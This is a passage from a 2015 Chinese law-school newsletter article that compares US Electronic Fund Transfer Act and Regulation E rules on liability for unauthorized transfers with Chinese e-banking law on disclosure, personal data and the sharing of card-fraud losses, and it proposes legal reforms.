经 授 权 的 划 拨 金 额 两 者 间 较 小 的 金 额 [15] 如 果 消 费 者 的 访 问 工 具 遗 失 或 被 窃, 且 他 在 发 现 遗 失 或 被 窃 后 的 两 个 营 业 日 内 通 知 金 融 机 构, 则 消 费 者 的 责 任 不 超 过 50 美 元 ; 如 果 他 未 在 发 现 遗 失 或 被 窃 后 的 两 个 营 业 日 内 通 知 金 融 机 构 则 他 可 能 承 担 超 过 50 美 元 的 责 任 但 即 使 如 此, 消 费 者 的 责 任 也 限 制 于 500 美 元 与 下 列 总 和 两 者 间 较 小 的 金 额, 即 最 高 不 超 过 500 美 元, 这 个 总 和 是 :

81 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 (1)50 美 元 与 在 消 费 者 发 现 访 问 工 具 遗 失 或 被 窃 后 第 二 个 营 业 日 结 束 时 实 际 发 生 的 未 经 授 权 划 拨 的 金 额 两 者 之 间 较 小 的 金 额 ;(2) 在 第 二 个 营 业 日 结 束 后, 通 知 金 融 机 构 之 前 发 生 的 未 经 授 权 划 拨 的 金 额, 只 要 金 融 机 构 能 够 证 明 消 费 者 若 在 两 个 营 业 日 内 通 知 了 金 融 机 构, 则 这 些 划 拨 不 会 发 生 [16] 例 如, 消 费 者 的 卡 在 星 期 一 被 窃, 当 天 他 就 知 道, 但 星 期 五 才 报 失 被 窃, 则 他 可 以 适 用 500 美 元 的 责 任 限 额, 但 具 体 承 担 多 少 取 决 于 未 经 授 权 的 划 拨 发 生 的 时 间 假 设 星 期 二 发 生 100 美 元 星 期 四 发 生 600 美 未 经 授 权 的 划 拨, 则 消 费 者 总 的 责 任 是 500 美 元, 即 100 美 元 划 拨 承 担 的 50 美 元 的 责 任 加 上 600 美 元 划 拨 承 担 450 美 元 的 责 任 但 是, 如 果 600 美 元 在 星 期 二 发 生,100 美 元 在 星 期 四 发 生, 那 么 消 费 者 只 承 担 150 美 元 的 责 任, 即 600 美 元 划 拨 中 承 担 的 50 美 元, 加 上 100 美 元 [17] 从 理 论 上 讲, 上 述 规 则 是 意 图 给 消 费 者 以 动 力, 在 发 现 访 问 工 具 遗 失 或 被 窃 后 及 时 通 知 金 融 机 构 但 任 何 这 样 的 动 力 都 被 以 下 事 实 所 削 弱, 即 金 融 机 构 很 难 查 明 消 费 者 在 何 时 发 现 访 问 工 具 遗 失 或 被 窃 官 方 人 员 注 释 认 为, 消 费 者 收 到 反 映 有 未 经 授 权 划 拨 的 定 期 报 表 这 一 事 实 可 以 作 为 确 定 消 费 者 是 否 知 道 遗 失 或 被 窃 的 一 个 因 素, 但 不 能 作 为 决 定 性 的 证 据 [18] 电 子 资 金 划 拨 法 与 E 条 例 都 规 定, 消 费 者 必 须 在 收 到 载 有 未 经 授 权 划 拨 的 定 期 报 表 后 的 60 天 内 通 知 金 融 机 构, 否 则 消 费 者 要 对 发 生 未 授 权 划 拨 60 天 以 后 通 知 银 行 之 前 的 未 经 授 权 划 拨 承 担 责 任, 即 承 担 无 限 制 的 责 任 但 即 使 在 这 种 情 况 下, 消 费 者 的 责 任 也 不 会 超 过 以 下 金 额 的 总 和 :(1)50 美 元 显 示 在 定 期 报 表 中 的 未 经 授 权 划 拨 的 金 额 在 定 期 报 表 传 送 后 60 天 内 发 生 的 未 经 授 权 划 拨 的 金 额 三 者 之 间 较 小 的 金 额 ;(2) 在 60 天 的 以 后 直 至 收 到 消 费 者 通 知 以 前 发 生 的 未 经 授 权 划 拨 的 金 额, 如 果 机 构 能 证 明 只 要 它 在 60 天 内 收 到 了 通 知, 这 些 划 拨 本 来 是 不 会 发 生 很 明 显, 上 述 几 种 规 则 同 时 适 用 的 情 况 是 可 能 产 生 的, E 条 例 对 这 种 情 况 作 了 明 确 的 规 定 类 似 地, 如 果 未 经 授 权 的 电 子 资 金 划 拨 涉 及 信 用 卡 或 在 透 支 限 额 内 提 供 信 用, 那 么 E 条 例 规 定 其 关 于 消 费 者 责 任 的 规 则 与 管 辖 未 经 授 权 使 用 信 用 卡 的 责 任 的 Z 条 例 的 规 则 都 适 用 E 条 例 的 规 则 适 用 于 涉 及 借 记 / 贷 记 卡 混 合 体 的 交 易 的 电 子 资 金 划 拨 部 分, 以 及 适 用 于 在 透 支 限 额 以 内 提 供 信 用 ; Z 条 例 的 规 则 适 用 于 涉 及 借 记 / 贷 记 卡 混 合 体 的 交 易 的 信 用 部 分, 以 及 适 用 于 用 信 用 卡 在 ATM 预 先 得 到 的 现 金 最 后, 州 法 或 金 融 机 构 与 消 费 者 间 的 协 议 可 以 减 少 但 不 能 增 加 消 费 者 对 未 经 授 权 的 电 子 资 金 划 拨 的 责 任 从 以 上 论 述 可 知, 电 子 资 金 划 拨 法 E 条 例 及 其 官 方 人 员 注 释, 对 消 费 者 承 担 未 经 授 权 的 电 子 资 金 划 拨 的 责 任 规 定 了 三 个 等 级, 即 50 美 元 500 美 元 和 无 限 责 任, 并 规 定 了 严 格 的 适 用 条 件 具 体 适 用 取 决 于 消 费 者 通 知 金 融 机 构 存 在 未 经 授 权 的 划 拨 的 时 间 以 及 未 经 授 权 的 划 拨 发 生 的 时 间 这 些 规 定 一 方 面 限 制 了 消 费 者 对 未 经 授 权 的 划 拨 承 担 的 责 任, 保 护 了 消 费 者 的 利 益 ; 另 一 方 面 也 激 励 消 费 者 在 发 现 访 问 工 具 遗 失 或 被 窃 或 存 在 未 经 授 权 的 划 拨 时 及 时 通 知 金 融 机 构, 以 避 免 损 失 或 损 失 的 扩 大, 从 而 能 促 进 包 括 电 子 资 金 划 拨 业 务 在 内 的 电 子 银 行 业 务 的 发 展 电 子 资 金 划 拨 法 包 含 一 套 复 杂 的 规 则, 要 求 金 融 机 构 对 其 电 子 资 金 划 拨 服 务 的 失 误 承 担 责 任 除 某 些 例 外, 金 融 机 构 应 当 就 以 下 近 因 造 成 (proximately caused) 的 全 部 损 失 (all loses or damages) 向 消 费 者 承 担 责 任 :(1) 当 金 融 机 构 得 到 消 费 者 的 适 当 指 示 进 行 电 子 资 金 划 拨 后, 未 根 据 账 户 条 件 以 正 确 的 金 额 或 适 时 的 (timely) 方 式 进 行 该 电 子 资 金 划 拨 ;(2) 因 金 融 机 构 未 根 据 账 户 条 件, 将 代 收 资 金 存 款 (deposit of funds) 贷 记 消 费 者 账 户, 使 该 金 融 机 构 由 于 账 户 资 金 不 足 未 进 行 电 子 资 金 划 拨, 而 假 如 该 机 构 已 贷 记 该 存 款, 该 账 户 本 来 能 提 供 足 够 的 资 金 进 行 该 划 拨 ;(3) 当 金 融 机 构 接 到 指 令, 指 示 其 根 据 账 户 条 件, 停 止 支 付 从 消 费 者 账 户 划 出 资 金 的 预 先 授 权 的 划 拨 时, 该 机 构 未 停 止 支 付 上 述 规 则 的 例 外 情 形 为 : (1) 消 费 者 的 账 户 中 无 足 够 的 资 金 ;(2) 消 费 者 账 户 中 的 资 金 受 诉 讼 程 序 或 限 制 该 划 拨 的 其 他 财 产 负 担 约 束 ;(3) 划 拨 将 超 过 事 先 确 定 的 信 用 限 额 ;(4) 电 子 终 端 无 足 够 的 现 金 来 完 成 该 交 易 ;(5) 联 邦 储 备 委 员 会 规 定 的 其 他 情 况 [19]

82 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 如 果 金 融 机 构 未 进 行 划 拨 或 未 停 止 支 付 并 非 出 自 故 意, 而 是 源 于 善 意 的 错 误 (bona fide error), 那 么 尽 管 合 理 地 采 纳 了 维 持 程 序 (maintenance of procedure) 以 避 免 任 何 此 种 错 误, 金 融 机 构 也 应 当 就 已 证 实 的 实 际 损 失 承 担 责 任 [20], 但 并 非 承 担 直 接 造 成 的 一 切 损 失 如 果 金 融 机 构 以 占 有 优 势 证 据 证 明, 其 作 为 或 不 作 为 是 由 于 下 列 原 因 之 一 造 成, 除 了 未 执 行 一 项 停 止 支 付 的 命 令 外, 则 对 承 担 责 任 有 完 全 的 抗 辩 权 :(1) 不 可 抗 力 或 金 融 机 构 所 不 能 控 制 的 其 他 情 况, 且 该 机 构 已 行 使 合 理 的 注 意 以 防 止 该 情 况 的 发 生, 并 行 使 了 按 情 况 所 要 求 的 勤 勉 ;(2) 在 消 费 者 试 图 发 动 电 子 资 金 划 拨 时, 或 在 预 先 授 权 的 划 拨 情 况, 在 该 划 拨 应 当 发 生 时, 该 消 费 者 就 已 知 道 的 机 械 故 障 [21] 由 于 金 融 机 构 对 因 系 统 故 障 造 成 的 电 子 资 金 划 拨 未 能 实 现 享 有 完 全 的 抗 辩 权, 可 以 免 除 其 责 任, 这 意 味 着 消 费 者 可 能 承 担 因 系 统 故 障 造 成 的 延 期 付 款 的 责 任 为 保 护 消 费 者 的 利 益, 电 子 资 金 划 拨 法 特 别 规 定, 如 果 系 统 故 障 妨 碍 消 费 者 发 动 的 向 他 人 划 拨 资 金 的 电 子 资 金 划 拨 的 实 施, 且 该 他 人 已 经 同 意 接 受 以 此 种 方 式 支 付, 那 么, 在 故 障 排 除 和 电 子 资 金 划 拨 可 以 完 成 前, 该 消 费 者 对 该 他 人 的 义 务 应 当 中 止, 除 非 该 他 人 随 后 以 书 面 形 式 要 求 以 电 子 资 金 划 拨 以 外 的 方 式 支 付 [22] 这 样 通 过 法 律 的 特 别 规 定, 使 消 费 者 在 系 统 故 障 情 况 下 临 时 中 止 其 付 款 义 务, 从 而 免 除 了 消 费 者 因 系 统 故 障 而 延 期 付 款 的 责 任 此 项 规 定 与 大 额 电 子 资 金 划 拨 系 统 出 现 故 障 情 况 下 的 规 则 不 同, 从 而 进 一 步 凸 现 出 电 子 资 金 划 拨 法 对 消 费 者 这 一 在 小 额 电 子 资 金 划 拨 处 于 弱 势 地 位 当 事 方 的 特 别 保 护 以 上 这 些 有 关 消 费 者 责 任 和 金 融 机 构 责 任 的 规 则 对 防 范 包 括 小 额 电 子 资 金 划 拨 在 内 的 电 子 银 行 法 律 风 险 能 起 一 定 的 作 用 我 国 电 子 银 行 消 费 者 权 益 的 保 护 主 要 依 据 的 是 消 费 者 权 益 保 护 法, 虽 然 2013 年 最 新 修 订 的 消 费 者 权 益 保 护 法 增 加 了 银 行 等 金 融 机 构 的 信 息 披 露 义 务, 但 是, 消 费 者 权 益 保 护 法 要 求 银 行 披 露 的 信 息 仅 仅 是 最 基 本 的 信 息, 并 未 考 虑 到 电 子 银 行 业 务 的 特 殊 性 持 续 信 息 披 露 的 必 要 性, 单 凭 这 些 信 息 显 然 不 足 以 保 护 处 于 弱 势 地 位 的 消 费 者 的 权 益 美 国 电 子 资 金 划 拨 法 及 E 条 例 根 据 合 同 缔 结 之 前 合 同 履 行 过 程 等 不 同 阶 段, 要 求 金 融 机 构 履 行 初 始 披 露 条 件 变 更 披 露 定 期 披 露 实 时 披 露 等 的 信 息 披 露 义 务, 以 充 分 保 护 消 费 者 的 知 情 权 我 国 中 国 人 民 银 行 颁 布 的 银 行 卡 业 务 管 理 办 法 第 52 条 规 定 : 发 卡 银 行 应 当 向 持 卡 人 提 供 对 账 服 务 按 月 向 持 卡 人 提 供 账 户 结 单, 在 下 列 情 况 下 发 卡 银 行 可 不 向 持 卡 人 提 供 账 户 结 单 :1. 已 向 持 卡 人 提 供 存 折 或 其 他 交 易 记 录 ;2. 自 上 一 份 月 结 单 后, 没 有 进 行 任 何 交 易, 账 户 没 有 任 何 未 偿 还 余 额 ;3. 已 与 持 卡 人 另 行 商 定 银 行 卡 业 务 管 理 办 法 第 52 条 一 方 面 要 求 银 行 提 供 定 期 披 露 义 务, 另 一 方 面 又 以 列 举 的 方 式 排 除 银 行 履 行 定 期 披 露 义 务 的 情 形 已 与 持 卡 人 另 行 商 定 更 是 为 银 行 以 合 同 方 式 免 除 其 定 期 披 露 义 务 提 供 了 合 法 的 依 据, 导 致 实 践 中 部 分 银 行 不 向 消 费 者 提 供 定 期 对 账 单 银 行 卡 业 务 管 理 办 法 未 涉 及 条 件 变 更 披 露, 实 践 中 各 银 行 多 采 用 公 告 方 式 通 知 消 费 者 合 同 内 容 的 变 更, 如 中 国 工 商 银 行 牡 丹 信 用 卡 领 用 合 约 约 定, 乙 方 ( 中 国 工 商 银 行 ) 如 对 上 述 透 支 利 率 滞 纳 金 超 限 费 及 其 他 收 费 项 目 和 收 费 标 准 进 行 调 整 的, 将 进 行 公 告, 公 告 期 满 即 为 生 效, 无 须 另 行 通 知 甲 方 ( 持 卡 人 ) 这 实 际 上 违 反 了 合 同 法 关 于 合 同 条 款 变 更 的 原 则, 剥 夺 了 消 费 者 的 知 情 权 因 此, 在 电 子 银 行 业 务 领 域, 我 国 现 有 法 律 对 消 费 者 知 情 权 提 供 的 保 护 还 远 远 不 够, 有 必 要 在 我 国 未 来 的 立 法 中 进 一 步 细 化 金 融 机 构 的 信 息 披 露 义 务 在 合 同 订 立 之 前, 金 融 机 构 有 必 须 以 明 确 清 晰 易 懂 的 语 言 向 消 费 者 披 露 金 融 机 构 的 名 称 联 系 方 式, 提 供 的 电 子 银 行 业 务 的 特 点 风 险 费 用, 发 生 未 经 授 权 支 付 错 误 支 付 时 金 融 机 构 与 消 费 者 的 责 任 分 配 等 在 合 同 条 件 变 更 生 效 之 前, 要 具 体 斟 酌 该 披 露 通 知 到 达 持 卡 人 的 时 间, 持 卡 人 作 出 接 受 与 否 的 决 定 时 间 以 及 持 卡 人 的 拒 绝 通 知 到 达 发 卡 行 的 时 间 来 确 定 合 同 条 件 变 更 的 披 露 时 间 只 有 在 某 些 特 殊 情 况 下, 条 件 的 变 更 是 为 了 维 护 持 卡 人 账 户 或 者 整 个 电 子 资 金 划 拨 系 统 的 安 全 所 急 需, 发 卡 行 才 可 以 不 事 先 通 知 持 卡 人 而 实 施 该 变 更, 但 是 事 后 应 该 尽 快 通 知 持 卡 人 从 信 息 披 露 的 内 容 看, 一 般 只 要 求 披 露 对 持 卡 人 不 利 的 合 同 变 更 情 形, 例 如 增 加 收 费 项 目

83 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 提 高 收 费 标 准 增 加 持 卡 人 的 责 任 增 加 交 易 限 制 等 等 只 有 保 证 持 卡 人 对 这 些 变 更 内 容 有 事 先 了 解 从 而 自 由 决 定 是 否 继 续 使 用 信 用 卡 的 权 利, 才 能 防 止 银 行 任 意 修 改 信 用 卡 合 同 侵 害 持 卡 人 的 利 益 {28} 在 合 同 的 履 行 过 程 中, 金 融 机 构 应 当 定 期 以 邮 寄 邮 件 短 信 等 方 式 向 消 费 者 提 供 对 账 单, 而 不 得 以 合 同 的 形 式 免 除 金 融 机 构 的 定 期 披 露 义 务 金 融 机 构 提 供 电 子 银 行 业 务 时, 因 消 费 者 身 份 认 证 信 用 评 估 等 需 要 收 集 使 用 消 费 者 的 个 人 信 息, 这 就 涉 及 消 费 者 个 人 信 息 的 保 护 问 题 2013 年 新 修 改 的 消 费 者 权 益 保 护 法 第 29 条 规 定 : 经 营 者 收 集 使 用 消 费 者 个 人 信 息, 应 当 遵 循 合 法 正 当 必 要 的 原 则, 明 示 收 集 使 用 信 息 的 目 的 方 式 和 范 围, 并 经 消 费 者 同 意 经 营 者 收 集 使 用 消 费 者 个 人 信 息, 应 当 公 开 其 收 集 使 用 规 则, 不 得 违 反 法 律 法 规 的 规 定 和 双 方 的 约 定 收 集 使 用 信 息 经 营 者 及 其 工 作 人 员 对 收 集 的 消 费 者 个 人 信 息 必 须 严 格 保 密, 不 得 泄 露 出 售 或 者 非 法 向 他 人 提 供 经 营 者 应 当 采 取 技 术 措 施 和 其 他 必 要 措 施, 确 保 信 息 安 全, 防 止 消 费 者 个 人 信 息 泄 露 丢 失 在 发 生 或 者 可 能 发 生 信 息 泄 露 丢 失 的 情 况 时, 应 当 立 即 采 取 补 救 措 施 经 营 者 未 经 消 费 者 同 意 或 者 请 求, 或 者 消 费 者 明 确 表 示 拒 绝 的, 不 得 向 其 发 送 商 业 性 信 息 该 条 将 个 人 信 息 保 护 纳 入 到 消 费 者 权 益 保 护 法 中, 是 我 国 消 费 者 权 益 保 护 法 的 一 个 重 大 突 破, 它 明 确 了 经 营 者 收 集 使 用 消 费 者 个 人 信 息 的 几 个 基 本 要 求 : 一 是 经 营 者 应 当 依 法 和 依 约 收 集 和 使 用 个 人 信 息 ; 二 是 经 营 者 收 集 使 用 个 人 信 息 应 遵 守 必 要 限 度 原 则, 不 得 超 出 必 要 限 度 使 用 收 集 个 人 信 息 ; 三 是 经 营 者 应 当 向 消 费 者 告 知 收 集 使 用 信 息 的 目 的 方 式 和 范 围 并 经 消 费 者 同 意 方 可 收 集 使 用 个 人 信 息 ; 四 是 经 营 者 应 当 保 障 消 费 者 个 人 信 息 的 安 全 这 一 规 定 确 立 了 个 人 信 息 受 消 费 者 权 益 保 护 法 保 护, 但 是 因 消 费 者 权 益 保 护 法 主 要 是 调 整 经 营 者 与 消 费 者 之 间 的 权 利 义 务 关 系, 其 个 人 信 息 保 护 条 款 无 法 用 以 规 范 电 子 银 行 与 非 消 费 者 客 户 间 的 权 利 义 务 关 系, 而 且 在 消 费 者 权 益 保 护 法 中 详 细 规 定 信 息 当 事 人 的 权 利 和 信 息 收 集 使 用 者 的 义 务 可 能 使 消 费 者 权 益 保 护 法 异 化 为 个 人 信 息 保 护 法, 这 从 立 法 技 术 的 角 度 来 说 并 不 可 取 因 此, 我 国 有 必 要 借 鉴 其 他 国 家 和 地 区, 制 定 专 门 的 个 人 信 息 保 护 法, 为 消 费 者 的 个 人 信 息 提 供 全 面 而 严 密 的 保 护 [23] 电 子 资 金 划 拨 是 电 子 银 行 的 重 要 业 务 之 一, 消 费 者 在 享 受 电 子 支 付 带 来 的 便 利 的 同 时, 也 面 临 着 持 卡 人 以 外 的 第 三 人 未 经 持 卡 人 的 授 权 从 持 卡 人 的 账 户 划 拨 资 金 而 使 持 卡 人 遭 受 损 失 的 风 险 对 于 这 部 分 风 险, 美 国 电 子 资 金 划 拨 法 及 E 条 例 规 定 了 富 有 层 次 性 和 灵 活 性 的 损 失 分 担 规 则, 限 制 了 金 融 机 构 利 用 优 势 地 位 将 损 失 转 嫁 给 消 费 者 对 此, 本 文 在 前 面 已 有 介 绍 我 国 各 发 卡 人 却 通 过 格 式 合 同 中 的 风 险 分 担 条 款 将 冒 用 风 险 的 损 失 分 配 给 消 费 者, 排 除 发 卡 人 的 责 任 冒 用 风 险 的 损 失 分 配 条 款 主 要 有 两 款, 密 码 条 款 和 挂 失 止 付 条 款 如 中 国 银 行 股 份 有 限 公 司 信 用 卡 领 用 合 约 中 的 密 码 条 款 规 定 : 凡 使 用 密 码 进 行 的 交 易 均 视 为 持 卡 人 本 人 所 为 并 由 持 卡 人 承 担 交 易 后 果 挂 失 止 付 条 款 一 般 规 定 : 银 行 卡 遗 失 被 窃, 或 被 他 人 占 有 时 持 卡 人 应 当 及 时 办 理 挂 失 手 续, 挂 失 自 正 式 挂 失 手 续 办 理 完 毕 时 生 效, 持 卡 人 对 挂 失 生 效 前 发 生 的 交 易 承 担 责 任, 对 挂 失 生 效 后 发 生 的 交 易 不 承 担 责 任 因 正 式 挂 失 手 续 办 理 完 毕 后, 持 卡 人 的 银 行 卡 账 户 的 资 金 已 经 被 冻 结 了, 持 卡 人 及 持 卡 人 以 外 的 人 都 不 能 从 该 卡 上 划 拨 资 金, 也 就 是 说 挂 失 生 效 后 该 银 行 卡 已 经 不 能 进 行 交 易 了, 因 此, 凭 密 码 交 易 视 为 本 人 交 易 及 挂 失 条 款 实 际 上 使 得 冒 用 风 险 所 生 的 损 失 全 部 由 持 卡 人 承 担 冒 用 风 险 所 产 生 的 损 失 可 能 是 因 持 卡 人 故 意 或 重 大 过 失 所 致, 也 可 能 是 因 发 卡 人 的 支 付 系 统 存 在 安 全 隐 患 发 卡 人 内 部 员 工 违 规 操 作 等, 抑 或 是 非 因 持 卡 人 或 发 卡 人 过 错 的 原 因 导 致 的, 不 区 分 冒 用 风 险 产 生 的 原 因 而 由 持 卡 人 承 担 所 有 损 失 不 利 于 支 付 系 统 的 损 失 预 防 和 控 制 电 子 银 行 业 务 管 理 办 法 的 起 草 者 已 经 意 识 到 了 实 践 中 冒 用 风 险 损 失 分 担 的 不 合 理, 该 办 法 第 89 条 规 定 : 金 融 机 构 在 提 供 电 子 银 行 服 务 时, 因 电 子 银 行 系 统 存 在 安 全 隐 患 金 融 机 构 内 部 违 规 操 作 和 其 他 非 客 户 原 因 等 造 成 损 失 的, 金 融 机 构 应 当 承 担 相 应 责 任 因 客 户 有 意 泄 漏 交 易 密 码, 或 者 未 按 照 服 务 协 议 尽 到 应 尽 的 安 全 防 范 与 保 密 义 务 造 成 损 失 的, 金 融 机 构 可

84 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 以 根 据 服 务 协 议 的 约 定 免 于 承 担 相 应 责 任, 但 法 律 法 规 另 有 规 定 的 除 外 从 该 条 的 内 容 上 看, 似 乎 解 决 了 前 述 格 式 合 同 冒 用 风 险 损 失 分 担 的 问 题, 但 是 司 法 实 践 中, 持 卡 人 主 张 格 式 合 同 中 的 密 码 条 款 和 挂 失 止 付 条 款 无 效, 法 院 却 不 能 援 引 电 子 银 行 业 务 管 理 办 法 第 89 条 的 规 定 判 定 密 码 条 款 和 挂 失 止 付 条 款 无 效, 违 反 法 律 法 规 的 效 力 性 规 定 的 合 同 条 款 无 效 是 以 全 国 人 大 及 其 常 委 会 制 定 的 法 律 和 国 务 院 制 定 的 行 政 法 规 为 依 据 的, 而 不 是 以 地 方 性 法 规 行 政 规 章 为 依 据, 而 电 子 银 行 业 务 管 理 办 法 属 于 部 门 规 章, 不 能 以 此 来 判 定 密 码 条 款 挂 失 止 付 条 款 无 效 即 便 法 院 要 求 金 融 机 构 按 照 电 子 银 行 业 务 管 理 办 法 第 89 条 的 规 定 承 担 责 任, 按 照 谁 主 张 谁 举 证 原 则, 持 卡 人 需 要 举 证 证 明 损 失 是 因 金 融 机 构 的 支 付 系 统 存 在 安 全 隐 患 银 行 内 部 员 工 违 规 操 作 或 其 他 非 因 客 户 原 因 等 造 成 的, 持 卡 人 才 能 将 冒 用 风 险 的 损 失 转 移 给 金 融 机 构, 这 对 于 处 于 弱 势 地 位 的 持 卡 人 来 说, 几 乎 不 可 能 完 成, 此 时 持 卡 人 应 承 担 举 证 不 能 的 后 果, 冒 用 风 险 造 成 的 损 失 由 持 卡 人 承 担 因 此, 第 89 条 的 规 定 难 以 为 因 银 行 卡 被 冒 用 而 遭 受 损 失 的 消 费 者 提 供 充 分 的 保 护, 有 必 要 在 未 来 的 立 法 中 设 计 更 公 平 更 合 理 的 规 则 来 分 配 发 卡 人 与 消 费 者 之 间 因 冒 用 风 险 而 导 致 的 损 失 在 设 计 冒 用 风 险 的 损 失 分 担 规 则 时, 应 当 从 风 险 预 防 风 险 控 制 风 险 转 移 三 个 方 面 考 虑 发 卡 人 与 消 费 者 的 责 任 从 风 险 预 防 方 面 看, 该 风 险 源 于 电 子 支 付 的 特 点 与 银 行 卡 安 全 和 认 证 技 术 的 局 限 性, 发 卡 人 作 为 银 行 卡 的 发 行 者, 作 为 资 金 和 技 术 的 强 势 拥 有 者, 有 义 务 通 过 提 高 技 术 和 管 理 水 平, 避 免 或 者 减 少 风 险, 因 而 对 风 险 产 生 应 当 负 主 要 责 任 ; 从 风 险 控 制 方 面 看, 除 了 持 卡 人 的 妥 善 保 管 和 及 时 挂 失 外, 主 要 依 靠 发 卡 人 及 其 履 行 辅 助 人 在 接 受 银 行 卡 交 易 时 尽 善 良 管 理 人 的 注 意 ( 审 查 签 名 核 对 持 卡 人 身 份 等 ), 因 而 发 卡 人 应 承 担 大 部 分 风 险, 持 卡 人 应 视 过 失 程 度 分 担 部 分 风 险 ; 从 信 用 卡 风 险 转 嫁 方 面 看, 发 卡 人 可 以 通 过 保 险 等 方 式 转 嫁 部 分 风 险, 而 不 是 把 所 有 风 险 强 加 于 持 卡 人 总 之, 发 卡 人 比 持 卡 人 更 有 能 力 预 防 风 险 控 制 风 险 和 转 移 风 险, 加 上 发 卡 人 持 卡 人 均 可 以 从 银 行 卡 业 务 的 发 展 中 获 得 一 定 的 利 益, 因 此, 不 能 简 单 地 以 传 统 民 法 中 的 谁 受 益 谁 承 担 风 险 来 解 决 双 方 当 事 人 如 何 分 配 风 险 的 问 题, 而 应 依 优 势 之 风 险 承 担 人 之 标 准, 即 应 将 风 险 分 配 于 支 付 最 少 成 本 即 可 防 止 风 险 发 生 之 人, 始 能 达 成 契 约 最 高 经 济 效 率 之 目 的 {29}128 有 鉴 于 此, 发 卡 人 应 当 承 担 更 多 的 冒 用 风 险 责 任 本 书 作 者 主 张 以 下 的 风 险 分 担 方 式 :(1) 有 欺 诈 故 意 或 重 大 过 失 的 持 卡 人 对 冒 用 风 险 负 全 部 责 任 ;(2) 怠 于 挂 失 或 者 有 其 他 违 反 诚 实 信 用 原 则 行 为 的 持 卡 人 可 借 鉴 美 国 电 子 资 金 划 拨 法 及 E 条 例 视 不 同 情 形 承 担 不 同 程 度 的 责 任, 但 如 果 发 卡 人 未 尽 善 良 管 理 人 责 任 的, 应 当 和 持 卡 人 共 同 承 担 风 险 ;(3) 除 上 述 两 种 情 况 外, 冒 用 风 险 由 发 卡 人 承 担 这 种 方 式 主 要 对 持 卡 人 采 取 过 失 责 任 原 则, 促 使 持 卡 人 尽 快 挂 失 并 协 助 调 查 ; 但 当 持 卡 人 有 过 失 时 并 不 免 除 发 卡 人 善 良 管 理 人 的 责 任, 使 发 卡 人 能 保 证 ATM POS 机 及 网 上 支 付 系 统 的 安 全, 减 少 冒 用 情 形 的 发 生 ; 在 其 他 情 况 下 由 发 卡 人 承 担 责 任, 从 而 最 大 限 度 地 保 护 持 卡 人 的 利 益 另 外, 在 挂 失 方 式 方 面, 应 明 确 承 认 电 话 挂 失 与 书 面 挂 失 具 有 同 等 的 效 力, 以 便 持 卡 人 能 以 更 快 捷 的 方 式 挂 失 止 付 {28} 五 结 语 互 联 网 的 飞 速 发 展 使 得 电 子 银 行 进 入 了 网 络 银 行 时 代 网 络 银 行 除 提 供 查 询 支 付 服 务 外, 还 利 用 其 平 台 优 势, 将 更 多 的 金 融 产 品 在 网 上 陈 列 销 售 而 此 类 产 品 中 既 有 银 行 自 营 的 理 财 产 品, 也 有 代 售 的 保 险 信 托 产 品 这 些 金 融 产 品 与 银 行 传 统 的 存 贷 款 产 品 有 所 不 同, 其 涉 及 的 投 资 部 门 广 泛, 投 资 工 具 复 杂 因 此, 网 络 银 行 在 大 大 拓 展 金 融 产 品 销 售 市 场 的 同 时, 也 增 加 了 电 子 银 行 的 风 险 另 外, 互 联 网 金 融 的 发 展 已 经 使 得 非 金 融 机 构 事 实 上 也 在 从 事 部 分 银 行 业 务 例 如 在 支 付 业 务 领 域, 我 们 非 金 融 机 构 支 付 服 务 管 理 办 法 规 定 取 得 支 付 业 务 许 可 证 的 第 三 方 支 付 机 构 可 以 从 事 支 付 业 务, 目 前 已 有 269 家 企 业 [24] 获 得 了 第 三 方 支 付 牌 照, 包 括 支 付 宝 快 钱 财 付 通 等, 支 付 已 不 再 是 银 行 特 有 的 业 务 又 如 在 借 贷 业

85 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 务 领 域, 人 人 贷 (peer to peer lending, 简 称 P2P) 将 借 款 人 和 贷 款 人 之 间 通 过 第 三 方 提 供 的 电 子 商 务 平 台 进 行 借 贷 再 如 融 合 了 传 统 证 券 借 贷 等 业 务 的 新 型 融 资 方 式 众 筹 (crowd funding), 其 实 质 是 面 向 公 众 筹 集 资 金, 特 别 指 以 资 助 个 人 公 益 慈 善 组 织 或 商 事 企 业 为 目 的 的 小 额 资 金 募 集 这 些 新 的 发 展 趋 势, 进 一 步 突 显 了 我 国 电 子 银 行 相 关 法 律 法 规 的 不 完 善, 增 加 了 电 子 银 行 的 法 律 风 险 电 子 银 行 提 供 的 金 融 产 品 可 能 涉 及 银 行 证 券 保 险 三 个 领 域, 互 联 网 金 融 的 发 展 也 改 变 了 资 本 市 场 中 以 通 过 银 行 间 接 融 资 的 传 统 方 式 为 主 的 情 况, 丰 富 了 投 融 资 的 渠 道 与 方 式, 整 合 了 间 接 融 资 与 直 接 融 资 的 优 势 在 金 融 市 场 需 求 及 金 融 工 程 与 通 信 技 术 本 身 创 造 的 混 业 经 营 趋 势 下, 当 前 对 电 子 银 行 实 行 的 分 业 监 管 模 式, 似 有 力 不 从 心 之 嫌 对 电 子 银 行 实 行 分 业 监 管, 可 能 导 致 重 复 监 管 或 监 管 真 空, 对 从 事 相 同 业 务 的 金 融 机 构 与 非 金 融 机 构 适 用 不 同 的 监 管 规 则, 导 致 同 一 业 务 不 同 监 管 因 此, 我 国 有 必 要 将 从 事 电 子 银 行 业 务 的 机 构 确 定 为 由 某 一 家 监 管 机 构 为 主, 多 部 门 参 与 电 子 银 行 管 理 的 协 调 机 制 电 子 银 行 各 参 与 方 之 间 的 权 利 义 务 关 系 可 以 引 导 和 规 范 各 参 与 方 的 行 为, 减 少 权 利 义 务 关 系 不 明 确 带 来 的 法 律 风 险, 因 此 有 必 要 明 确 认 证 机 构 与 电 子 签 名 人 电 子 签 名 依 赖 方 之 间 的 权 利 义 务 关 系 电 子 银 行 的 客 户 可 以 分 为 非 消 费 者 和 消 费 者, 他 们 的 缔 约 能 力 损 失 分 散 能 力 等 有 所 不 同, 与 金 融 机 构 相 比, 消 费 者 明 显 处 于 弱 势 地 位, 应 当 在 信 息 披 露 个 人 信 息 保 护 冒 用 风 险 损 失 分 担 等 方 面 为 消 费 者 提 供 特 殊 保 护 我 国 未 来 的 电 子 银 行 立 法, 需 